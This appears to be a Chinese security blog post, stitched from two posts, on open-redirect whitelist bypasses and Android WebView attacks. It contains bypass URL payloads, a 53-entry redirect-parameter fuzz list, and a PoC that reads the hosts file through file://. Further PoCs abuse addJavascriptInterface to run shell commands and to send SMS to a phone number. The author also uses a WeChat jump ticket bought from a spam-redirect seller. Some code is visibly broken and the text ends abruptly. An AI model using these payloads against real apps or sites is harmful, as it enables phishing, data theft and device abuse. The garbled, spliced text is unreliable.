URL跳轉與webview安全淺談
我部落格的兩篇文章拼接在一起所以可能看起來有些亂
起因
在一次測試中我用burpsuite搜尋了關鍵詞url找到了某處url
我測試了一下發現waf攔截了指向外域的請求,那麼開始嘗試繞過。所以有了這次的文章
經過
第一個我測試的url是https://mall.m.xxxxxxx.com/jump.html?url=https://baidu.com
我開啟成功跳轉以為跳轉成功,but baidu.com是在白名單的所以我就只能想辦法去繞過他那麼我經過了幾次繞過之後發現https://mall.m.xxxxxxx.com/jump.html?url=https:/\c1h2e1.github.io
正文
-
@ 繞過
這個是利用了我們瀏覽器的特性,現在除了Firefox瀏覽器大部分都可以完成這樣跳轉下面是跳轉的動態圖
![aite_redirect]({{ "http://c1h2e1.oss-cn-qingdao.aliyuncs.com/image/1.gif"|redirect}}) -
問號繞過
可以使用Referer的比如https://baidu.com
可以https://任意地址/?baidu.com
-
錨點 繞過
利用#會被瀏覽器解釋成HTML中的錨點http://127.0.0.1/#qq.com
- xip.io繞過
http://www.baidu.com.127.0.0.1.xip.io/
這樣之後會訪問127.0.0.1
How does it work?
xip.io runs a custom DNS server on the public Internet.
When your computer looks up a xip.io domain, the xip.io
DNS server extracts the IP address from the domain and sends it back in the response.
![xip]({{ "
在公網上執行自定義的dns伺服器,用他的伺服器提取IP地址,在響應中將他取回
-
反斜槓繞過
我這次測試中也是使用了這種思路https://mall.m.xxxxxxx.com/jump.html?url=https:/\c1h2e1.github.io
- IP繞過
把目標的URL修改成IP地址,這樣也有可能繞過waf的攔截
- chrome瀏覽器特性
http:/\/baidu.com http:\//baidu.com /\/baidu.com http:\\\//baidu.com
這樣的都會跳轉到百度
url跳轉到webview安全問題
我們這次的漏洞我在手機上測試的時候發現利用APP url Schema
也就是xxxx://app/webview?url=xxxxxxx
其實這裡的任意webview跳轉已經構成漏洞了但是我想更加深入一下
看到webview我想到了利用file協議讀取使用者的敏感資訊那麼下面的兩篇文章可以補一下基礎
使用app內建webview 開啟TextView中的超連結
烏雲案例
我們先用file://協議讀取一下測試檔案試一下
![host]({{ "http://c1h2e1.oss-cn-qingdao.aliyuncs.com/image/2.png"|host}})
我們可以看到成功讀取了手機的敏感host檔案,但不是隻要讀取成功就能完成利用的,我們還需要設計到傳送並讀取
這邊我又測試了一下JavaScript的情況,發現開啟
那麼我們在vps上搭建一下利用程式碼
<html>
<head>
<title>test</title> </head> <script> var xmlHttp; //定義XMLHttpRequest物件 function createXmlHttpRequestObject(){ //如果在internet Explorer下執行 if(window.ActiveXObject){ try{ xmlHttp=new ActiveXObject("Microsoft.XMLHTTP"); }catch(e){ xmlHttp=false; } }else{ //如果在Mozilla或其他的瀏覽器下執行 try{ xmlHttp=new XMLHttpRequest(); }catch(e){ xmlHttp=false; } } //返回建立的物件或顯示錯誤資訊 if(!xmlHttp) alert("error"); else return xmlHttp; } function ReqHtml(){ createXmlHttpRequestObject(); path='file://' path1='/system/etc/hosts' xmlHttp.onreadystatechange=StatHandler; //判斷URL呼叫的狀態值並處理 xmlHttp.open("GET",path+path1,false); //呼叫test.txt xmlHttp.send(null) alert(1) } function StatHandler(){ if(xmlHttp.readyState==4 && xmlHttp.status==200){ document.getElementById("webpage").innerHTML=xmlHttp.responseText; alert(xmlHttp.responseText) } } ReqHtml() StatHandler() </script> <body> <div id="webpage"></div> </body> </html>
在app上測試一下發現不成功。。。。
之後才得知是因為同源策略導致的,在網上各種找方法繞過後無果,沒辦法之好放棄。
雖然這個應用繞不過我們可以mark一點姿勢
ps:很多程式碼都是手碼的沒寫過JS所以可能會有一些錯誤不要見怪
<html>
<body>
<script> function execute(cmdArgs) { return injectedObj.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs); } var res = execute(["/system/bin/sh", "-c", "ls -al /mnt/sdcard/"]); document.write(getContents(res.getInputStream())); </script> </body> </html>
這個是執行命令的poc
<html>
<head>
<title>Test send</title> <script type="text/javascript"> function execute() { var sendsms = jsInterface.getClass().forName("android.telephony.SmsManager").getMethod("getDefault",null),invoke(null,null); sendsms.sendTextMessage("13722555165",null,"get",null,null); } </script> </head> <body> <input type="button"execute" value="test"/> </body> </html>
<html>
<head>
<title>Test sendsms</title> <script type="text/javascript"> function execute() { var sendsms = jsInterface.getClass().forName("android.telephony.SmsManager").getMethod("getDefault",null),invoke(null,null); sendsms.sendTextMessage("13722555165",null,"get",null,null); } </script> </head> <body> <input type="button"execute" value="test"/> </body> </html>
突然換目標
這是我想到了weixin的協議weixin://
看了官方的文件之後我發現了微信支援如下操作
weixin://dl/general
weixin://dl/favorites 收藏
weixin://dl/scan 掃一掃
weixin://dl/feedback 反饋
weixin://dl/moments 朋友圈 weixin://dl/settings 設定 weixin://dl/notifications 訊息通知設定 weixin://dl/chat 聊天設定 weixin://dl/general 通用設定 weixin://dl/officialaccounts 公眾號 weixin://dl/games 遊戲 weixin://dl/help 幫助 weixin://dl/feedback 反饋 weixin://dl/profile 個人資訊 weixin://dl/features 功能外掛
那。。。我平時開啟小xx網站的時候突然彈出的微信是什麼鬼
經過一番查詢我找到了能夠跳轉的方法weixin://dl/business/?ticket=xxxxxxxxxxxxxxxxx
那麼這個ticket哪裡來呢???
我在t00ls上看到一篇同樣關於這個微信協議的分析他說是有人在賣api我百度了一下找到了這個地址
![seoniao]({{ "http://c1h2e1.oss-cn-qingdao.aliyuncs.com/image/3.png"|seoniao}})
我們註冊並登陸嘗試一下跳轉
![seoniao]({{ "http://c1h2e1.oss-cn-qingdao.aliyuncs.com/image/4.png"|seoniao}})
果然還是收費,因為寫文章的時候比較早他們可能沒有上班所以就換個地方找一下
![redirect]({{ "http://c1h2e1.oss-cn-qingdao.aliyuncs.com/image/5.png"|redirect}})
我們加一下這個客服的qq
![screenshot]({{ "http://c1h2e1.oss-cn-qingdao.aliyuncs.com/image/6.png"|screenshot}})
果然是我想象得那樣weixin://dl/business/?ticket=taa597ccdcdf00ecb865d9e04904bbff4
我們手機開啟一下我得測試網頁<a href="weixin://dl/business/?ticket=taa597ccdcdf00ecb865d9e04904bbff4">demo</a>
成功開啟微信並跳轉~~~~
URL 跳轉
這是我部落格的兩篇文章拼在一起的
寫在前面
在技術學習中,用開闊的眼光看待安全問題會有不同的結論出現,我們本次文章所利用的思路源於國外的hackerone
以及多個資源分享平臺,文末會貼出連結,那麼我們開始今天的URL跳轉的進階使用吧 (以後的部落格質量會慢慢提升希望各位能多多提出建設性建議我的微訊號:baiheming123456)
START
關於挖掘思路我相信各位都已經很熟悉了,尋找常見引數,或者使用谷歌dorking。例如:inurl:redirectUrl=http site:target.com
我們在實戰中可以利用burpsuite的搜尋功能去尋找30X的響應碼
![redirect]({{ "http://c1h2e1.oss-cn-qingdao.aliyuncs.com/image/redirect.png"|redirect}})
http的響應碼
- 300--多種選擇
- 301--永久移動
- 302--發現
- 307臨時重定向
- 308永久重定向
我們尋找可能跳轉的連結這一步就基本上完成了,那麼問題來了,絕大部分的網站都是不允許直接跳轉的。這樣就再一次回到了我們上一篇文章中提到的跳轉繞過了URL跳轉到Webview安全
我們可以參考上文中的一點點簡單的思路。BUT這些思路在實戰中遠遠不夠用。所以我們衍生了新的思路
我們假設URL basic版本就是?url=https://c1h2e1.github.io
URL_Redirect PLUS
如果你看過i春秋winway表哥的文章的話我相信對他URL的fuzz擴充套件思路一定很清楚了吧。我們這裡就不放出文件了因為是小密圈的東西
對於這個思路我們就理解為跳轉引數的fuzz了
我個人整理了一份烏雲案例上的Parameter Payload
下面奉上
success=https://c1h2e1.github.io
next=https://c1h2e1.github.io
data=https://c1h2e1.github.io
url=https://c1h2e1.github.io
qurl=https://c1h2e1.github.io login=https://c1h2e1.github.io logout=https://c1h2e1.github.io ext=https://c1h2e1.github.io clickurl=https://c1h2e1.github.io goto=https://c1h2e1.github.io redirect_url=https://c1h2e1.github.io redirect=https://c1h2e1.github.io rit_url=https://c1h2e1.github.io forward_url=https://c1h2e1.github.io @https://c1h2e1.github.io forward=https://c1h2e1.github.io pic=https://c1h2e1.github.io callback_url=https://c1h2e1.github.io jump=https://c1h2e1.github.io jump_url=https://c1h2e1.github.io click?u=https://c1h2e1.github.io originUrl=https://c1h2e1.github.io origin=https://c1h2e1.github.io Url=https://c1h2e1.github.io desturl=https://c1h2e1.github.io dest=https://c1h2e1.github.io u=https://c1h2e1.github.io page=https://c1h2e1.github.io u1=https://c1h2e1.github.io action=https://c1h2e1.github.io action_url=https://c1h2e1.github.io Redirect=https://c1h2e1.github.io sp_url=https://c1h2e1.github.io service=https://c1h2e1.github.io recurl=https://c1h2e1.github.io j?url=https://c1h2e1.github.io url=//https://c1h2e1.github.io uri=https://c1h2e1.github.io u=https://c1h2e1.github.io allinurl:https://c1h2e1.github.io q=https://c1h2e1.github.io link=https://c1h2e1.github.io src=https://c1h2e1.github.io tc?src=https://c1h2e1.github.io linkAddress=https://c1h2e1.github.io location=https://c1h2e1.github.io go=https://c1h2e1.github.io burl=https://c1h2e1.github.io request=https://c1h2e1.github.io backurl=https://c1h2e1.github.io RedirectUrl=https://c1h2e1.github.io Redirect=https://c1h2e1.github.io ReturnUrl=https://c1h2e1.github.io
這53個引數就是我們國內常用的引數了,我們可以通過他大量的進行fuzz尋找可用的引數
URL_Redirect PLUS PULS
經過思考我們可以發現在實戰中引數是一個比較重要的因素BUTURL的白名單限制如果做的好的話真的很難繞過,於是我在國外的一個網站上找到了一份URL_Payload的字典,與引數想結合之後完成了大殺器URL_Redirect PLUS PULS(手動滑稽)
我不是不想弄txt的。我主要是想讓各位看著更舒服一點雖然有點多,但是並沒有很麻煩
<>//Ⓛ